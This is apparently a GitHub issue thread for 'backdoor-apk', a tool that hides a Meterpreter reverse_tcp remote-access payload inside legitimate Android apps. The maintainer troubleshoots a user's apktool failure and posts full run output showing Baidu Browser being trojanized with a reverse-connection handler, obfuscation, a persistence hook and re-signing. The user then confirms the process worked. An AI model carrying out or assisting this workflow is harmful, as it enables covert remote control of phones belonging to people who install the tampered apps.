Comments (12)
Please attach the run.log file after the failure.
from backdoor-apk.
Dear,
FYI
from backdoor-apk.
my apk as well.
badu.zip
from backdoor-apk.
I see this in the run.log file:
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8592019061118522257.tmp, p, --forced-package-id, 127, $
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:437)
at brut.androlib.Androlib.buildResources(Androlib.java:371)
at brut.androlib.Androlib.build(Androlib.java:281)
at brut.androlib.Androlib.build(Androlib.java:254)
at brut.apktool.Main.cmdBuild(Main.java:224)
at brut.apktool.Main.main(Main.java:84)
Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8592019061118522257.tmp, p, --forced-package-id, 127, --min-sdk-version, 14, --target-sdk-version, 19, $
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:436)
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:423)
... 5 more
Caused by: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8592019061118522257.tmp, p, --forced-package-id, 127, --min-sdk-version, 14, --target-sdk-version, 19, --version-code, 165, --version-na$
at brut.util.OS.exec(OS.java:97)
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:430)
... 6 more
Caused by: java.io.IOException: Cannot run program "/tmp/brut_util_Jar_8592019061118522257.tmp": error=2, No such file or directory
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1047)
at brut.util.OS.exec(OS.java:90)
... 7 more
Caused by: java.io.IOException: error=2, No such file or directory
at java.lang.UNIXProcess.forkAndExec(Native Method)
at java.lang.UNIXProcess.<init>(UNIXProcess.java:187)
at java.lang.ProcessImpl.start(ProcessImpl.java:130)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1028)
... 8 more
This error, from apktool, is identical to the error being reported in another open issue. As of right now, the root cause is not known. You can help out by trying to find a solution to the apktool issue. If you find a solution then please update this issue with a comment sharing the solution or workaround.
from backdoor-apk.
This appears to be a duplicate of issue: #30
from backdoor-apk.
FYI. The APK file you provided does not recompile for me as well but I get a slightly different error in the logs. Did you provide the original APK? Is it a legit copy from the Google Play Store or did you obtain it from somewhere else on the Internet?
from backdoor-apk.
i got it from internet. for apktool what should i do. thanks
On Mon, Sep 12, 2016 at 11:08 PM, Dana James Traversie <
[email protected]> wrote:
FYI. The APK file you provided does not recompile for me as well but I get
a slightly different error in the logs. Did you provide the original APK?
Is it a legit copy from the Google Play Store or did you obtain it from
somewhere else on the Internet?—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
#32 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AU-_Utcssl7eMR-IRGqgvbZYBb3t_pd9ks5qpZwggaJpZM4J0-G_
.
from backdoor-apk.
I have a known good copy of Baidu Browser (from the Google Play Store) that you can use to test.
Here's the backdoor-apk.sh script output from a run that completed moments ago:
root@kali:~/Scripts/github/backdoor-apk/backdoor-apk# ./backdoor-apk.sh BaiduBrowser.apk
[*] Generating RAT APK file...done.
[+] Using payload: android/meterpreter/reverse_tcp
[+] Handle the reverse connection at: 10.6.9.31:1337
[*] Decompiling RAT APK file...done.
[*] Decompiling original APK file...done.
[*] Merging permissions of original and payload projects...done.
[*] Running proguard on RAT APK file...done.
[*] Decompiling obfuscated RAT APK file...done.
[*] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Obfuscating const-string values in RAT smali files...done.
[*] Locating smali file to hook in original project...done.
[*] Adding hook in original smali file...done.
[*] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[*] Generating RSA key for signing...done.
[*] Signing recompiled APK...done.
[*] Verifying signed artifacts...done.
[*] Aligning recompiled APK...done.
root@kali:~/Scripts/github/backdoor-apk/backdoor-apk# date
Mon Sep 12 16:46:01 EDT 2016
root@kali:~/Scripts/github/backdoor-apk/backdoor-apk#
You could download the APK here and see if it is processed successfully on your system:
root@kali:~/Scripts/github/backdoor-apk/backdoor-apk# md5sum BaiduBrowser.apk
6d903df56af11be281d24a49f9461483 BaiduBrowser.apk
root@kali:~/Scripts/github/backdoor-apk/backdoor-apk# sha256sum BaiduBrowser.apk
adee4b084ed9ac3af578336c9a80a16647e85b966cb18e248e946e16a3701703 BaiduBrowser.apk
root@kali:~/Scripts/github/backdoor-apk/backdoor-apk#
from backdoor-apk.
dear can u share your apk. thanks
On Tue, Sep 13, 2016 at 1:17 AM, Dana James Traversie <
[email protected]> wrote:
I have a known good copy of Baidu Browser that you can use to test.
Here's the backdoor-apk.sh script output from a run that completed moments
ago:root@kali:
/Scripts/github/backdoor-apk/backdoor-apk# ./backdoor-apk.sh BaiduBrowser.apk/Scripts/github/backdoor-apk/backdoor-apk# date
[] Generating RAT APK file...done.
[+] Using payload: android/meterpreter/reverse_tcp
[+] Handle the reverse connection at: 10.6.9.31:1337
[] Decompiling RAT APK file...done.
[] Decompiling original APK file...done.
[] Merging permissions of original and payload projects...done.
[] Running proguard on RAT APK file...done.
[] Decompiling obfuscated RAT APK file...done.
[] Creating new directories in original project for RAT smali files...done.
[] Copying RAT smali files to new directories in original project...done.
[] Fixing RAT smali files...done.
[] Obfuscating const-string values in RAT smali files...done.
[] Locating smali file to hook in original project...done.
[] Adding hook in original smali file...done.
[] Adding persistence hook in original project...done.
[] Recompiling original project with backdoor...done.
[] Generating RSA key for signing...done.
[] Signing recompiled APK...done.
[] Verifying signed artifacts...done.
[] Aligning recompiled APK...done.
root@kali:
Mon Sep 12 16:46:01 EDT 2016
root@kali:~/Scripts/github/backdoor-apk/backdoor-apk#—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
#32 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AU-_UkjdlT8uNZQWVcRGqHfLCI_V5kpzks5qpbp1gaJpZM4J0-G_
.
from backdoor-apk.
@mehr66t It's shared in my previous comment.
from backdoor-apk.
it worked! well done and thanks.
On Tue, Sep 13, 2016 at 8:52 PM, Dana James Traversie <
[email protected]> wrote:
@mehr66t https://github.com/mehr66t It's shared in my previous comment.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
#32 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AU-_UvuPOrbC8BJO79gYfaUJD9H-xfiRks5qps23gaJpZM4J0-G_
.
from backdoor-apk.
Beware of grabbing APK files from random places out on the Internet. They have mostly likely been tampered with in some fashion. Apktool generally fails to decompile/compile when an APK itself is in a bad state. If you stick with legitimate APK files from the Google Play store then you probably won't see Apktool failures.
from backdoor-apk.
Related Issues (20)
- Failed to locate smali file to hook HOT 2
- Couldn't find: baksmali HOT 9
- Check your environment and configuration. Coudn't find: apktool HOT 1
- [!] Failed to recompile original project with backdoor HOT 5
- Bakdoor apk
- Backdoor-apk + Ngrok tcp + msfconsole not working! HOT 1
- Failed to locate smali file to hook HOT 7
- .
- Original APK file specified does not exist HOT 1
- Termux? HOT 1
- doesn't have the required permission meterpreter HOT 1
- [ ! ] Failed to decompile original APK file HOT 1
- Unauthorized HOT 1
- Would you like to help with an open source project??? HOT 4
- Hack
- how to install this dependency? HOT 1
- Too long in "Adding hook in original smali file" stage HOT 2
- baksmali HOT 1
- Couldn't find: jarsigner HOT 1
- Failed to recompile original project with backdoor
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from backdoor-apk.